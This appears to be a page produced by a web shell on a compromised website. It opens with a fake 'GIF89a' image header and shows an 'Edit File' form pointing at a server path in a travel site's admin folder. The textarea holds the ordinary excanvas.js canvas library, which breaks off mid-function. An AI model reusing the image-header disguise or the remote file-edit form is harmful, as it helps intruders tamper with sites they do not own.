GIF89a;
<h2>Edit File - excanvas.js</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="C:\inetpub\vhosts\rjinfotechindia.com\americcoholidays.com\admin\js\plugins\flot\excanvas.js">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">// Copyright 2006 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//   http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.


// Known Issues:
//
// * Patterns only support repeat.
// * Radial gradient are not implemented. The VML version of these look very
//   different from the canvas one.
// * Clipping paths are not implemented.
// * Coordsize. The width and height attribute have higher priority than the
//   width and height style values which isn&#039;t correct.
// * Painting mode isn&#039;t implemented.
// * Canvas width/height should is using content-box by default. IE in
//   Quirks mode will draw the canvas using border-box. Either change your
//   doctype to HTML5
//   (http://www.whatwg.org/specs/web-apps/current-work/#the-doctype)
//   or use Box Sizing Behavior from WebFX
//   (http://webfx.eae.net/dhtml/boxsizing/boxsizing.html)
// * Non uniform scaling does not correctly scale strokes.
// * Filling very large shapes (above 5000 points) is buggy.
// * Optimize. There is always room for speed improvements.

// Only add this code if we do not already have a canvas implementation
if (!document.createElement(&#039;canvas&#039;).getContext) {

(function() {

  // alias some functions to make (compiled) code shorter
  var m = Math;
  var mr = m.round;
  var ms = m.sin;
  var mc = m.cos;
  var abs = m.abs;
  var sqrt = m.sqrt;

  // this is used for sub pixel precision
  var Z = 10;
  var Z2 = Z / 2;

  var IE_VERSION = +navigator.userAgent.match(/MSIE ([\d.]+)?/)[1];

  /**
   * This funtion is assigned to the &lt;canvas&gt; elements as element.getContext().
   * @this {HTMLElement}
   * @return {CanvasRenderingContext2D_}
   */
  function getContext() {
    return this.context_ ||
        (this.context_ = new CanvasRenderingContext2D_(this));
  }

  var slice = Array.prototype.slice;

  /**
   * Binds a function to an object. The returned function will always use the
   * passed in {@code obj} as {@code this}.
   *
   * Example:
   *
   *   g = bind(f, obj, a, b)
   *   g(c, d) // will do f.call(obj, a, b, c, d)
   *
   * @param {Function} f The function to bind the object to
   * @param {Object} obj The object that should act as this when the function
   *     is called
   * @param {*} var_args Rest arguments that will be used as the initial
   *     arguments when the function is called
   * @return {Function} A new function that has bound this
   */
  function bind(f, obj, var_args) {
    var a = slice.call(arguments, 2);
    return function() {
      return f.apply(obj, a.concat(slice.call(arguments)));
    };
  }

  function encodeHtmlAttribute(s) {
    return String(s).replace(/&amp;/g, &#039;&amp;amp;&#039;).replace(/&quot;/g, &#039;&amp;quot;&#039;);
  }

  function addNamespace(doc, prefix, urn) {
    if (!doc.namespaces[prefix]) {
      doc.namespaces.add(prefix, urn, &#039;#default#VML&#039;);
    }
  }

  function addNamespacesAndStylesheet(doc) {
    addNamespace(doc, &#039;g_vml_&#039;, &#039;urn:schemas-microsoft-com:vml&#039;);
    addNamespace(doc, &#039;g_o_&#039;, &#039;urn:schemas-microsoft-com:office:office&#039;);

    // Setup default CSS.  Only add one style sheet per document
    if (!doc.styleSheets[&#039;ex_canvas_&#039;]) {
      var ss = doc.createStyleSheet();
      ss.owningElement.id = &#039;ex_canvas_&#039;;
      ss.cssText = &#039;canvas{display:inline-block;overflow:hidden;&#039; +
          // default size is 300x150 in Gecko and Opera
          &#039;text-align:left;width:300px;height:150px}&#039;;
    }
  }

  // Add namespaces and stylesheet at startup.
  addNamespacesAndStylesheet(document);

  var G_vmlCanvasManager_ = {
    init: function(opt_doc) {
      var doc = opt_doc || document;
      // Create a dummy element so that IE will allow canvas elements to be
      // recognized.
      doc.createElement(&#039;canvas&#039;);
      doc.attachEvent(&#039;onreadystatechange&#039;, bind(this.init_, this, doc));
    },

    init_: function(doc) {
      // find all canvas elements
      var els = doc.getElementsByTagName(&#039;canvas&#039;);
      for (var i = 0; i &lt; els.length; i++) {
        this.initElement(els[i]);
      }
    },

    /**
     * Public initializes a canvas element so that it can be used as canvas
     * element from now on. This is called automatically before the page is
     * loaded but if you are creating elements using createElement you need to
     * make sure this is called on the element.
     * @param {HTMLElement} el The canvas element to initialize.
     * @return {HTMLElement} the element that was created.
     */
    initElement: function(el) {
      if (!el.getContext) {
        el.getContext = getContext;

        // Add namespaces and stylesheet to document of the element.
        addNamespacesAndStylesheet(el.ownerDocument);

        // Remove fallback content. There is no way to hide text nodes so we
        // just remove all childNodes. We could hide all elements and remove
        // text nodes but who really cares about the fallback content.
        el.innerHTML = &#039;&#039;;

        // do not use inline function because that will leak memory
        el.attachEvent(&#039;onpropertychange&#039;, onPropertyChange);
        el.attachEvent(&#039;onresize&#039;, onResize);

        var attrs = el.attributes;
        if (attrs.width &amp;&amp; attrs.width.specified) {
          // TODO: use runtimeStyle and coordsize
          // el.getContext().setWidth_(attrs.width.nodeValue);
          el.style.width = attrs.width.nodeValue + &#039;px&#039;;
        } else {
          el.width = el.clientWidth;
        }
        if (attrs.height &amp;&amp; attrs.height.specified) {
          // TODO: use runtimeStyle and coordsize
          // el.getContext().setHeight_(attrs.height.nodeValue);
          el.style.height = attrs.height.nodeValue + &#039;px&#039;;
        } else {
          el.height = el.clientHeight;
        }
        //el.getContext().setCoordsize_()
      }
      return el;
    }
  };

  function onPropertyChange(e) {
    var el = e.srcElement;

    switch (e.propertyName) {
      case &#039;width&#039;:
        el.getContext().clearRect();
        el.style.width = el.attributes.width.nodeValue + &#039;px&#039;;
        // In IE8 this does not trigger onresize.
        el.firstChild.style.width =  el.clientWidth + &#039;px&#039;;
        break;
      case &#039;height&#039;:
        el.getContext().clearRect();
        el.style.height = el.attributes.height.nodeValue + &#039;px&#039;;
        el.firstChild.style.height = el.clientHeight + &#039;px&#039;;
        break;
    }
  }

  function onResize(e) {
    var el = e.srcElement;
    if (el.firstChild) {
      el.firstChild.style.width =  el.clientWidth + &#039;px&#039;;
      el.firstChild.style.height = el.clientHeight + &#039;px&#039;;
    }
  }

  G_vmlCanvasManager_.init();

  // precompute &quot;00&quot; to &quot;FF&quot;
  var decToHex = [];
  for (var i = 0; i &lt; 16; i++) {
    for (var j = 0; j &lt; 16; j++) {
      decToHex[i * 16 + j] = i.toString(16) + j.toString(16);
    }
  }

  function createMatrixIdentity() {
    return [
      [1, 0, 0],
      [0, 1, 0],
      [0, 0, 1]
    ];
  }

  function matrixMultiply(m1, m2) {
    var result = createMatrixIdentity();

    for (var x = 0; x &lt; 3; x++) {
      for (var y = 0; y &lt; 3; y++) {
        var sum = 0;

        for (var z = 0; z &lt; 3; z++) {
          sum += m1[x][z] * m2[z][y];
        }

        result[x][y] = sum;
      }
    }
    return result;
  }

  function copyState(o1, o2) {
    o2.fillStyle     = o1.fillStyle;
    o2.lineCap       = o1.lineCap;
    o2.lineJoin      = o1.lineJoin;
    o2.lineWidth     = o1.lineWidth;
    o2.miterLimit    = o1.miterLimit;
    o2.shadowBlur    = o1.shadowBlur;
    o2.shadowColor   = o1.shadowColor;
    o2.shadowOffsetX = o1.shadowOffsetX;
    o2.shadowOffsetY = o1.shadowOffsetY;
    o2.strokeStyle   = o1.strokeStyle;
    o2.globalAlpha   = o1.globalAlpha;
    o2.font          = o1.font;
    o2.textAlign     = o1.textAlign;
    o2.textBaseline  = o1.textBaseline;
    o2.arcScaleX_    = o1.arcScaleX_;
    o2.arcScaleY_    = o1.arcScaleY_;
    o2.lineScale_    = o1.lineScale_;
  }

  var colorData = {
    aliceblue: &#039;#F0F8FF&#039;,
    antiquewhite: &#039;#FAEBD7&#039;,
    aquamarine: &#039;#7FFFD4&#039;,
    azure: &#039;#F0FFFF&#039;,
    beige: &#039;#F5F5DC&#039;,
    bisque: &#039;#FFE4C4&#039;,
    black: &#039;#000000&#039;,
    blanchedalmond: &#039;#FFEBCD&#039;,
    blueviolet: &#039;#8A2BE2&#039;,
    brown: &#039;#A52A2A&#039;,
    burlywood: &#039;#DEB887&#039;,
    cadetblue: &#039;#5F9EA0&#039;,
    chartreuse: &#039;#7FFF00&#039;,
    chocolate: &#039;#D2691E&#039;,
    coral: &#039;#FF7F50&#039;,
    cornflowerblue: &#039;#6495ED&#039;,
    cornsilk: &#039;#FFF8DC&#039;,
    crimson: &#039;#DC143C&#039;,
    cyan: &#039;#00FFFF&#039;,
    darkblue: &#039;#00008B&#039;,
    darkcyan: &#039;#008B8B&#039;,
    darkgoldenrod: &#039;#B8860B&#039;,
    darkgray: &#039;#A9A9A9&#039;,
    darkgreen: &#039;#006400&#039;,
    darkgrey: &#039;#A9A9A9&#039;,
    darkkhaki: &#039;#BDB76B&#039;,
    darkmagenta: &#039;#8B008B&#039;,
    darkolivegreen: &#039;#556B2F&#039;,
    darkorange: &#039;#FF8C00&#039;,
    darkorchid: &#039;#9932CC&#039;,
    darkred: &#039;#8B0000&#039;,
    darksalmon: &#039;#E9967A&#039;,
    darkseagreen: &#039;#8FBC8F&#039;,
    darkslateblue: &#039;#483D8B&#039;,
    darkslategray: &#039;#2F4F4F&#039;,
    darkslategrey: &#039;#2F4F4F&#039;,
    darkturquoise: &#039;#00CED1&#039;,
    darkviolet: &#039;#9400D3&#039;,
    deeppink: &#039;#FF1493&#039;,
    deepskyblue: &#039;#00BFFF&#039;,
    dimgray: &#039;#696969&#039;,
    dimgrey: &#039;#696969&#039;,
    dodgerblue: &#039;#1E90FF&#039;,
    firebrick: &#039;#B22222&#039;,
    floralwhite: &#039;#FFFAF0&#039;,
    forestgreen: &#039;#228B22&#039;,
    gainsboro: &#039;#DCDCDC&#039;,
    ghostwhite: &#039;#F8F8FF&#039;,
    gold: &#039;#FFD700&#039;,
    goldenrod: &#039;#DAA520&#039;,
    grey: &#039;#808080&#039;,
    greenyellow: &#039;#ADFF2F&#039;,
    honeydew: &#039;#F0FFF0&#039;,
    hotpink: &#039;#FF69B4&#039;,
    indianred: &#039;#CD5C5C&#039;,
    indigo: &#039;#4B0082&#039;,
    ivory: &#039;#FFFFF0&#039;,
    khaki: &#039;#F0E68C&#039;,
    lavender: &#039;#E6E6FA&#039;,
    lavenderblush: &#039;#FFF0F5&#039;,
    lawngreen: &#039;#7CFC00&#039;,
    lemonchiffon: &#039;#FFFACD&#039;,
    lightblue: &#039;#ADD8E6&#039;,
    lightcoral: &#039;#F08080&#039;,
    lightcyan: &#039;#E0FFFF&#039;,
    lightgoldenrodyellow: &#039;#FAFAD2&#039;,
    lightgreen: &#039;#90EE90&#039;,
    lightgrey: &#039;#D3D3D3&#039;,
    lightpink: &#039;#FFB6C1&#039;,
    lightsalmon: &#039;#FFA07A&#039;,
    lightseagreen: &#039;#20B2AA&#039;,
    lightskyblue: &#039;#87CEFA&#039;,
    lightslategray: &#039;#778899&#039;,
    lightslategrey: &#039;#778899&#039;,
    lightsteelblue: &#039;#B0C4DE&#039;,
    lightyellow: &#039;#FFFFE0&#039;,
    limegreen: &#039;#32CD32&#039;,
    linen: &#039;#FAF0E6&#039;,
    magenta: &#039;#FF00FF&#039;,
    mediumaquamarine: &#039;#66CDAA&#039;,
    mediumblue: &#039;#0000CD&#039;,
    mediumorchid: &#039;#BA55D3&#039;,
    mediumpurple: &#039;#9370DB&#039;,
    mediumseagreen: &#039;#3CB371&#039;,
    mediumslateblue: &#039;#7B68EE&#039;,
    mediumspringgreen: &#039;#00FA9A&#039;,
    mediumturquoise: &#039;#48D1CC&#039;,
    mediumvioletred: &#039;#C71585&#039;,
    midnightblue: &#039;#191970&#039;,
    mintcream: &#039;#F5FFFA&#039;,
    mistyrose: &#039;#FFE4E1&#039;,
    moccasin: &#039;#FFE4B5&#039;,
    navajowhite: &#039;#FFDEAD&#039;,
    oldlace: &#039;#FDF5E6&#039;,
    olivedrab: &#039;#6B8E23&#039;,
    orange: &#039;#FFA500&#039;,
    orangered: &#039;#FF4500&#039;,
    orchid: &#039;#DA70D6&#039;,
    palegoldenrod: &#039;#EEE8AA&#039;,
    palegreen: &#039;#98FB98&#039;,
    paleturquoise: &#039;#AFEEEE&#039;,
    palevioletred: &#039;#DB7093&#039;,
    papayawhip: &#039;#FFEFD5&#039;,
    peachpuff: &#039;#FFDAB9&#039;,
    peru: &#039;#CD853F&#039;,
    pink: &#039;#FFC0CB&#039;,
    plum: &#039;#DDA0DD&#039;,
    powderblue: &#039;#B0E0E6&#039;,
    rosybrown: &#039;#BC8F8F&#039;,
    royalblue: &#039;#4169E1&#039;,
    saddlebrown: &#039;#8B4513&#039;,
    salmon: &#039;#FA8072&#039;,
    sandybrown: &#039;#F4A460&#039;,
    seagreen: &#039;#2E8B57&#039;,
    seashell: &#039;#FFF5EE&#039;,
    sienna: &#039;#A0522D&#039;,
    skyblue: &#039;#87CEEB&#039;,
    slateblue: &#039;#6A5ACD&#039;,
    slategray: &#039;#708090&#039;,
    slategrey: &#039;#708090&#039;,
    snow: &#039;#FFFAFA&#039;,
    springgreen: &#039;#00FF7F&#039;,
    steelblue: &#039;#4682B4&#039;,
    tan: &#039;#D2B48C&#039;,
    thistle: &#039;#D8BFD8&#039;,
    tomato: &#039;#FF6347&#039;,
    turquoise: &#039;#40E0D0&#039;,
    violet: &#039;#EE82EE&#039;,
    wheat: &#039;#F5DEB3&#039;,
    whitesmoke: &#039;#F5F5F5&#039;,
    yellowgreen: &#039;#9ACD32&#039;
  };


  function getRgbHslContent(styleString) {
    var start = styleString.indexOf(&#039;(&#039;, 3);
    var end = styleString.indexOf(&#039;)&#039;, start + 1);
    var parts = styleString.substring(start + 1, end).split(&#039;,&#039;);
    // add alpha if needed
    if (parts.length != 4 || styleString.charAt(3) != &#039;a&#039;) {
      parts[3] = 1;
    }
    return parts;
  }

  function percent(s) {
    return parseFloat(s) / 100;
  }

  function clamp(v, min, max) {
    return Math.min(max, Math.max(min, v));
  }

  function hslToRgb(parts){
    var r, g, b, h, s, l;
    h = parseFloat(parts[0]) / 360 % 360;
    if (h &lt; 0)
      h++;
    s = clamp(percent(parts[1]), 0, 1);
    l = clamp(percent(parts[2]), 0, 1);
    if (s == 0) {
      r = g = b = l; // achromatic
    } else {
      var q = l &lt; 0.5 ? l * (1 + s) : l + s - l * s;
      var p = 2 * l - q;
      r = hueToRgb(p, q, h + 1 / 3);
      g = hueToRgb(p, q, h);
      b = hueToRgb(p, q, h - 1 / 3);
    }

    return &#039;#&#039; + decToHex[Math.floor(r * 255)] +
        decToHex[Math.floor(g * 255)] +
        decToHex[Math.floor(b * 255)];
  }

  function hueToRgb(m1, m2, h) {
    if (h &lt; 0)
      h++;
    if (h &gt; 1)
      h--;

    if (6 * h &lt; 1)
      return m1 + (m2 - m1) * 6 * h;
    else if (2 * h &lt; 1)
      return m2;
    else if (3 * h &lt; 2)
      return m1 + (m2 - m1) * (2 / 3 - h) * 6;
    else
      return m1;
  }

  var processStyleCache = {};

  function processStyle(styleString) {
    if (styleString in processStyleCache) {
      return processStyleCache[styleString];
    }

    var str, alpha = 1;

    styleString = String(styleString);
    if (styleString.charAt(0) == &#039;#&#039;) {
      str = styleString;
    } else if (/^rgb/.test(styleString)) {
      var parts = getRgbHslContent(styleString);
      var str = &#039;#&#039;, n;
      for (var i = 0; i &lt; 3; i++) {
        if (parts[i].indexOf(&#039;%&#039;) != -1) {
          n = Math.floor(percent(parts[i]) * 255);
        } else {
          n = +parts[i];
        }
        str += decToHex[clamp(n, 0, 255)];
      }
      alpha = +parts[3];
    } else if (/^hsl/.test(styleString)) {
      var parts = getRgbHslContent(styleString);
      str = hslToRgb(parts);
      alpha = parts[3];
    } else {
      str = colorData[styleString] || styleString;
    }
    return processStyleCache[styleString] = {color: str, alpha: alpha};
  }

  var DEFAULT_STYLE = {
    style: &#039;normal&#039;,
    variant: &#039;normal&#039;,
    weight: &#039;normal&#039;,
    size: 10,
    family: &#039;sans-serif&#039;
  };

  // Internal text style cache
  var fontStyleCache = {};

  function processFontStyle(styleString) {
    if (fontStyleCache[styleString]) {
      return fontStyleCache[styleString];
    }

    var el = document.createElement(&#039;div&#039;);
    var style = el.style;
    try {
      style.font = styleString;
    } catch (ex) {
      // Ignore failures to set to invalid font.
    }

    return fontStyleCache[styleString] = {
      style: style.fontStyle || DEFAULT_STYLE.style,
      variant: style.fontVariant || DEFAULT_STYLE.variant,
      weight: style.fontWeight || DEFAULT_STYLE.weight,
      size: style.fontSize || DEFAULT_STYLE.size,
      family: style.fontFamily || DEFAULT_STYLE.family
    };
  }

  function getComputedStyle(style, element) {
    var computedStyle = {};

    for (var p in style) {
      computedStyle[p] = style[p];
    }

    // Compute the size
    var canvasFontSize = parseFloat(element.currentStyle.fontSize),
        fontSize = parseFloat(style.size);

    if (typeof style.size == &#039;number&#039;) {
      computedStyle.size = style.size;
    } else if (style.size.indexOf(&#039;px&#039;) != -1) {
      computedStyle.size = fontSize;
    } else if (style.size.indexOf(&#039;em&#039;) != -1) {
      computedStyle.size = canvasFontSize * fontSize;
    } else if(style.size.indexOf(&#039;%&#039;) != -1) {
      computedStyle.size = (canvasFontSize / 100) * fontSize;
    } else if (style.size.indexOf(&#039;pt&#039;) != -1) {
      computedStyle.size = fontSize / .75;
    } else {
      computedStyle.size = canvasFontSize;
    }

    // Different scaling between normal text and VML text. This was found using
    // trial and error to get the same size as non VML text.
    computedStyle.size *= 0.981;

    return computedStyle;
  }

  function buildStyle(style) {
    return style.style + &#039; &#039; + style.variant + &#039; &#039; + style.weight + &#039; &#039; +
        style.size + &#039;px &#039; + style.family;
  }

  var lineCapMap = {
    &#039;butt&#039;: &#039;flat&#039;,
    &#039;round&#039;: &#039;round&#039;
  };

  function processLineCap(lineCap) {
    return lineCapMap[lineCap] || &#039;square&#039;;
  }

  /**
   * This class implements CanvasRenderingContext2D interface as described by
   * the WHATWG.
   * @param {HTMLElement} canvasElement The element that the 2D context should
   * be associated with
   */
  function CanvasRenderingContext2D_(canvasElement) {
    this.m_ = createMatrixIdentity();

    this.mStack_ = [];
    this.aStack_ = [];
    this.currentPath_ = [];

    // Canvas context properties
    this.strokeStyle = &#039;#000&#039;;
    this.fillStyle = &#039;#000&#039;;

    this.lineWidth = 1;
    this.lineJoin = &#039;miter&#039;;
    this.lineCap = &#039;butt&#039;;
    this.miterLimit = Z * 1;
    this.globalAlpha = 1;
    this.font = &#039;10px sans-serif&#039;;
    this.textAlign = &#039;left&#039;;
    this.textBaseline = &#039;alphabetic&#039;;
    this.canvas = canvasElement;

    var cssText = &#039;width:&#039; + canvasElement.clientWidth + &#039;px;height:&#039; +
        canvasElement.clientHeight + &#039;px;overflow:hidden;position:absolute&#039;;
    var el = canvasElement.ownerDocument.createElement(&#039;div&#039;);
    el.style.cssText = cssText;
    canvasElement.appendChild(el);

    var overlayEl = el.cloneNode(false);
    // Use a non transparent background.
    overlayEl.style.backgroundColor = &#039;red&#039;;
    overlayEl.style.filter = &#039;alpha(opacity=0)&#039;;
    canvasElement.appendChild(overlayEl);

    this.element_ = el;
    this.arcScaleX_ = 1;
    this.arcScaleY_ = 1;
    this.lineScale_ = 1;
  }

  var contextPrototype = CanvasRenderingContext2D_.prototype;
  contextPrototype.clearRect = function() {
    if (this.textMeasureEl_) {
      this.textMeasureEl_.removeNode(true);
      this.textMeasureEl_ = null;
    }
    this.element_.innerHTML = &#039;&#039;;
  };

  contextPrototype.beginPath = function() {
    // TODO: Branch current matrix so that save/restore has no effect
    //       as per safari docs.
    this.currentPath_ = [];
  };

  contextPrototype.moveTo = function(aX, aY) {
    var p = getCoords(this, aX, aY);
    this.currentPath_.push({type: &#039;moveTo&#039;, x: p.x, y: p.y});
    this.currentX_ = p.x;
    this.currentY_ = p.y;
  };

  contextPrototype.lineTo = function(aX, aY) {
    var p = getCoords(this, aX, aY);
    this.currentPath_.push({type: &#039;lineTo&#039;, x: p.x, y: p.y});

    this.currentX_ = p.x;
    this.currentY_ = p.y;
  };

  contextPrototype.bezierCurveTo = function(aCP1x, aCP1y,
                                            aCP2x, aCP2y,
                                            aX, aY) {
    var p = getCoords(this, aX, aY);
    var cp1 = getCoords(this, aCP1x, aCP1y);
    var cp2 = getCoords(this, aCP2x, aCP2y);
    bezierCurveTo(this, cp1, cp2, p);
  };

  // Helper function that takes the already fixed cordinates.
  function bezierCurveTo(self, cp1, cp2, p) {
    self.currentPath_.push({
      type: &#039;bezierCurveTo&#039;,
      cp1x: cp1.x,
      cp1y: cp1.y,
      cp2x: cp2.x,
      cp2y: cp2.y,
      x: p.x,
      y: p.y
    });
    self.currentX_ = p.x;
    self.currentY_ = p.y;
  }

  contextPrototype.quadraticCurveTo = function(aCPx, aCPy, aX, aY) {
    // the following is lifted almost directly from
    // http://developer.mozilla.org/en/docs/Canvas_tutorial:Drawing_shapes

    var cp = getCoords(this, aCPx, aCPy);
    var p = getCoords(this, aX, aY);

    var cp1 = {
      x: this.currentX_ + 2.0 / 3.0 * (cp.x - this.currentX_),
      y: this.currentY_ + 2.0 / 3.0 * (cp.y - this.currentY_)
    };
    var cp2 = {
      x: cp1.x + (p.x - this.currentX_) / 3.0,
      y: cp1.y + (p.y - this.currentY_) / 3.0
    };

    bezierCurveTo(this, cp1, cp2, p);
  };

  contextPrototype.arc = function(aX, aY, aRadius,
                                  aStartAngle, aEndAngle, aClockwise) {
    aRadius *= Z;
    var arcType = aClockwise ? &#039;at&#039; : &#039;wa&#039;;

    var xStart = aX + mc(aStartAngle) * aRadius - Z2;
    var yStart = aY + ms(aStartAngle) * aRadius - Z2;

    var xEnd = aX + mc(aEndAngle) * aRadius - Z2;
    var yEnd = aY + ms(aEndAngle) * aRadius - Z2;

    // IE won&#039;t render arches drawn counter clockwise if xStart == xEnd.
    if (xStart == xEnd &amp;&amp; !aClockwise) {
      xStart += 0.125; // Offset xStart by 1/80 of a pixel. Use something
                       // that can be represented in binary
    }

    var p = getCoords(this, aX, aY);
    var pStart = getCoords(this, xStart, yStart);
    var pEnd = getCoords(this, xEnd, yEnd);

    this.currentPath_.push({type: arcType,
                           x: p.x,
                           y: p.y,
                           radius: aRadius,
                           xStart: pStart.x,
                           yStart: pStart.y,
                           xEnd: pEnd.x,
                           yEnd: pEnd.y});

  };

  contextPrototype.rect = function(aX, aY, aWidth, aHeight) {
    this.moveTo(aX, aY);
    this.lineTo(aX + aWidth, aY);
    this.lineTo(aX + aWidth, aY + aHeight);
    this.lineTo(aX, aY + aHeight);
    this.closePath();
  };

  contextPrototype.strokeRect = function(aX, aY, aWidth, aHeight) {
    var oldPath = this.currentPath_;
    this.beginPath();

    this.moveTo(aX, aY);
    this.lineTo(aX + aWidth, aY);
    this.lineTo(aX + aWidth, aY + aHeight);
    this.lineTo(aX, aY + aHeight);
    this.closePath();
    this.stroke();

    this.currentPath_ = oldPath;
  };

  contextPrototype.fillRect = function(aX, aY, aWidth, aHeight) {
    var oldPath = this.currentPath_;
    this.beginPath();

    this.moveTo(aX, aY);
    this.lineTo(aX + aWidth, aY);
    this.lineTo(aX + aWidth, aY + aHeight);
    this.lineTo(aX, aY + aHeight);
    this.closePath();
    this.fill();

    this.currentPath_ = oldPath;
  };

  contextPrototype.createLinearGradient = function(aX0, aY0, aX1, aY1) {
    var gradient = new CanvasGradient_(&#039;gradient&#039;);
    gradient.x0_ = aX0;
    gradient.y0_ = aY0;
    gradient.x1_ = aX1;
    gradient.y1_ = aY1;
    return gradient;
  };

  contextPrototype.createRadialGradient = function(aX0, aY0, aR0,
                                                   aX1, aY1, aR1) {
    var gradient = new CanvasGradient_(&#039;gradientradial&#039;);
    gradient.x0_ = aX0;
    gradient.y0_ = aY0;
    gradient.r0_ = aR0;
    gradient.x1_ = aX1;
    gradient.y1_ = aY1;
    gradient.r1_ = aR1;
    return gradient;
  };

  contextPrototype.drawImage = function(image, var_args) {
    var dx, dy, dw, dh, sx, sy, sw, sh;

    // to find the original width we overide the width and height
    var oldRuntimeWidth = image.runtimeStyle.width;
    var oldRuntimeHeight = image.runtimeStyle.height;
    image.runtimeStyle.width = &#039;auto&#039;;
    image.runtimeStyle.height = &#039;auto&#039;;

    // get the original size
    var w = image.width;
    var h = image.height;

    // and remove overides
    image.runtimeStyle.width = oldRuntimeWidth;
    image.runtimeStyle.height = oldRuntimeHeight;

    if (arguments.length == 3) {
      dx = arguments[1];
      dy = arguments[2];
      sx = sy = 0;
      sw = dw = w;
      sh = dh = h;
    } else if (arguments.length == 5) {
      dx = arguments[1];
      dy = arguments[2];
      dw = arguments[3];
      dh = arguments[4];
      sx = sy = 0;
      sw = w;
      sh = h;
    } else if (arguments.length == 9) {
      sx = arguments[1];
      sy = arguments[2];
      sw = arguments[3];
      sh = arguments[4];
      dx = arguments[5];
      dy = arguments[6];
      dw = arguments[7];
      dh = arguments[8];
    } else {
      throw Error(&#039;Invalid number of arguments&#039;);
    }

    var d = getCoords(this, dx, dy);

    var w2 = sw / 2;
    var h2 = sh / 2;

    var vmlStr = [];

    var W = 10;
    var H = 10;

    // For some reason that I&#039;ve now forgotten, using divs didn&#039;t work
    vmlStr.push(&#039; &lt;g_vml_:group&#039;,
                &#039; coordsize=&quot;&#039;, Z * W, &#039;,&#039;, Z * H, &#039;&quot;&#039;,
                &#039; coordorigin=&quot;0,0&quot;&#039; ,
                &#039; style=&quot;width:&#039;, W, &#039;px;height:&#039;, H, &#039;px;position:absolute;&#039;);

    // If filters are necessary (rotation exists), create them
    // filters are bog-slow, so only create them if abbsolutely necessary
    // The following check doesn&#039;t account for skews (which don&#039;t exist
    // in the canvas spec (yet) anyway.

    if (this.m_[0][0] != 1 || this.m_[0][1] ||
        this.m_[1][1] != 1 || this.m_[1][0]) {
      var filter = [];

      // Note the 12/21 reversal
      filter.push(&#039;M11=&#039;, this.m_[0][0], &#039;,&#039;,
                  &#039;M12=&#039;, this.m_[1][0], &#039;,&#039;,
                  &#039;M21=&#039;, this.m_[0][1], &#039;,&#039;,
                  &#039;M22=&#039;, this.m_[1][1], &#039;,&#039;,
                  &#039;Dx=&#039;, mr(d.x / Z), &#039;,&#039;,
                  &#039;Dy=&#039;, mr(d.y / Z), &#039;&#039;);

      // Bounding box calculation (need to minimize displayed area so that
      // filters don&#039;t waste time on unused pixels.
      var max = d;
      var c2 = getCoords(this, dx + dw, dy);
      var c3 = getCoords(this, dx, dy + dh);
      var c4 = getCoords(this, dx + dw, dy + dh);

      max.x = m.max(max.x, c2.x, c3.x, c4.x);
      max.y = m.max(max.y, c2.y, c3.y, c4.y);

      vmlStr.push(&#039;padding:0 &#039;, mr(max.x / Z), &#039;px &#039;, mr(max.y / Z),
                  &#039;px 0;filter:progid:DXImageTransform.Microsoft.Matrix(&#039;,
                  filter.join(&#039;&#039;), &quot;, sizingmethod=&#039;clip&#039;);&quot;);

    } else {
      vmlStr.push(&#039;top:&#039;, mr(d.y / Z), &#039;px;left:&#039;, mr(d.x / Z), &#039;px;&#039;);
    }

    vmlStr.push(&#039; &quot;&gt;&#039; ,
                &#039;&lt;g_vml_:image src=&quot;&#039;, image.src, &#039;&quot;&#039;,
                &#039; style=&quot;width:&#039;, Z * dw, &#039;px;&#039;,
                &#039; height:&#039;, Z * dh, &#039;px&quot;&#039;,
                &#039; cropleft=&quot;&#039;, sx / w, &#039;&quot;&#039;,
                &#039; croptop=&quot;&#039;, sy / h, &#039;&quot;&#039;,
                &#039; cropright=&quot;&#039;, (w - sx - sw) / w, &#039;&quot;&#039;,
                &#039; cropbottom=&quot;&#039;, (h - sy - sh) / h, &#039;&quot;&#039;,
                &#039; /&gt;&#039;,
                &#039;&lt;/g_vml_:group&gt;&#039;);

    this.element_.insertAdjacentHTML(&#039;BeforeEnd&#039;, vmlStr.join(&#039;&#039;));
  };

  contextPrototype.stroke = function(aFill) {
    var W = 10;
    var H = 10;
    // Divide the shape into chunks if it&#039;s too long because IE has a limit
    // somewhere for how long a VML shape can be. This simple division does
    // not work with fills, only strokes, unfortunately.
    var chunkSize = 5000;

    var min = {x: null, y: null};
    var max = {x: null, y: null};

    for (var j = 0; j &lt; this.currentPath_.length; j += chunkSize) {
      var lineStr = [];
      var lineOpen = false;

      lineStr.push(&#039;&lt;g_vml_:shape&#039;,
                   &#039; filled=&quot;&#039;, !!aFill, &#039;&quot;&#039;,
                   &#039; style=&quot;position:absolute;width:&#039;, W, &#039;px;height:&#039;, H, &#039;px;&quot;&#039;,
                   &#039; coordorigin=&quot;0,0&quot;&#039;,
                   &#039; coordsize=&quot;&#039;, Z * W, &#039;,&#039;, Z * H, &#039;&quot;&#039;,
                   &#039; stroked=&quot;&#039;, !aFill, &#039;&quot;&#039;,
                   &#039; path=&quot;&#039;);

      var newSeq = false;

      for (var i = j; i &lt; Math.min(j + chunkSize, this.currentPath_.length); i++) {
        if (i % chunkSize == 0 &amp;&amp; i &gt; 0) { // move into position for next chunk
          lineStr.push(&#039; m &#039;, mr(this.currentPath_[i-1].x), &#039;,&#039;, mr(this.currentPath_[i-1].y));
        }

        var p = this.currentPath_[i];
        var c;

        switch (p.type) {
          case &#039;moveTo&#039;:
            c = p;
            lineStr.push(&#039; m &#039;, mr(p.x), &#039;,&#039;, mr(p.y));
            break;
          case &#039;lineTo&#039;:
            lineStr.push(&#039; l &#039;, mr(p.x), &#039;,&#039;, mr(p.y));
            break;
          case &#039;close&#039;:
            lineStr.push(&#039; x &#039;);
            p = null;
            break;
          case &#039;bezierCurveTo&#039;:
            lineStr.push(&#039; c &#039;,
                         mr(p.cp1x), &#039;,&#039;, mr(p.cp1y), &#039;,&#039;,
                         mr(p.cp2x), &#039;,&#039;, mr(p.cp2y), &#039;,&#039;,
                         mr(p.x), &#039;,&#039;, mr(p.y));
            break;
          case &#039;at&#039;:
          case &#039;wa&#039;:
